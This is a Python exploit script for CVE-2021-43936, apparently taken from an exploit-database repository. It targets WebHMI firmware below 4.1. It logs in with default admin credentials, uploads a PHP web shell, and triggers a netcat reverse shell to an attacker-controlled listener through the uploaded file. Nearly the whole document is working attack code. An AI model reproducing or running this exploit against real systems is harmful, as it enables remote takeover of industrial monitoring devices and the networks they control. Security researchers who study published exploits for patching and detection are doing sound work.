28e83a8de5
2 changes to exploits/shellcodes HD-Network Real-time Monitoring System 2.0 - Local File Inclusion (LFI) WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)
110 lines
No EOL
3.4 KiB
Python
Executable file
110 lines
No EOL
3.4 KiB
Python
Executable file
# Exploit Title: WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)
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# Date: 12/12/2021
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# Exploit Author: Jeremiasz Pluta
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# Vendor Homepage: https://webhmi.com.ua/en/
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# Version: WebHMI Firmware < 4.1
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# CVE: CVE-2021-43936
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# Tested on: WebHMI Firmware 4.0.7475
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#!/usr/bin/python
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import sys
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import re
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import argparse
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import pyfiglet
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import requests
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import time
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import subprocess
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banner = pyfiglet.figlet_format("CVE-2021-43936")
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print(banner)
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print('Exploit for CVE-2021-43936')
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print('For: WebHMI Firmware < 4.1')
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login = "admin" #CHANGE ME IF NEEDED
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password = "admin" #CHANGE ME IF NEEDED
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class Exploit:
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def __init__(self, target_ip, target_port, localhost, localport):
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self.target_ip = target_ip
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self.target_port = target_port
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self.localhost = localhost
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self.localport = localport
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def exploitation(self):
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payload = """<?php system($_GET['cmd']); ?>"""
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payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""
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headers_login = {
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'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
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'Accept': 'application/json, text/javascript, */*; q=0.01',
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'Accept-Language': 'en-US,en;q=0.5',
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'Accept-Encoding': 'gzip, deflate',
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'Content-Type': 'application/json',
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'X-WH-LOGIN': login,
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'X-WH-PASSWORD': password,
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'X-Requested-With': 'XMLHttpRequest',
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'Connection': 'close',
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'Content-Length': '0'
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}
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url = 'http://' + target_ip + ':' + target_port
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r = requests.Session()
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print('[*] Resolving URL...')
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r1 = r.get(url)
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time.sleep(3)
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print('[*] Trying to log in...')
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r2 = r.post(url + '/api/signin', headers=headers_login, allow_redirects=True)
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time.sleep(3)
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print('[*] Login redirection...')
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login_cookies = {
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'X-WH-SESSION-ID':r2.headers['X-WH-SESSION-ID'],
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'X-WH-CHECK-TRIAL':'true',
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'il18next':'en',
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}
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r3 = r.post(url + '/login.php?sid=' + r2.headers['X-WH-SESSION-ID'] + '&uid=1',cookies=login_cookies)
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time.sleep(3)
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print('[*] Uploading cmd.php file...')
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files = {
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'file': ('cmd.php', payload, 'application/x-php')
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}
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r4 = r.post(url + '/files.php', files=files, cookies=login_cookies)
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time.sleep(3)
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print('[*] Setting up netcat listener...')
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listener = subprocess.Popen(["nc", "-nvlp", self.localport])
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time.sleep(3)
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print('[*] Executing reverse shell...')
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print('[*] Watchout for shell! :)')
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r5 = r.get(url + '/uploads/files/cmd.php?cmd=' + payload2, cookies=login_cookies)
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if (r5.status_code == 200):
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print('[*] Got shell!')
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while True:
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listener.wait()
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else:
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print('[-] Something went wrong!')
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listener.terminate()
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def get_args():
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parser = argparse.ArgumentParser(description='WebHMI Firmware <4.1 Unrestricted File Upload + Code Execution (Authenticated)')
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parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
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parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
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parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
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parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
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args = parser.parse_args()
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return args
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args = get_args()
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target_ip = args.url
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target_port = args.target_port
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localhost = args.localhost
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localport = args.localport
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exp = Exploit(target_ip, target_port, localhost, localport)
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exp.exploitation() |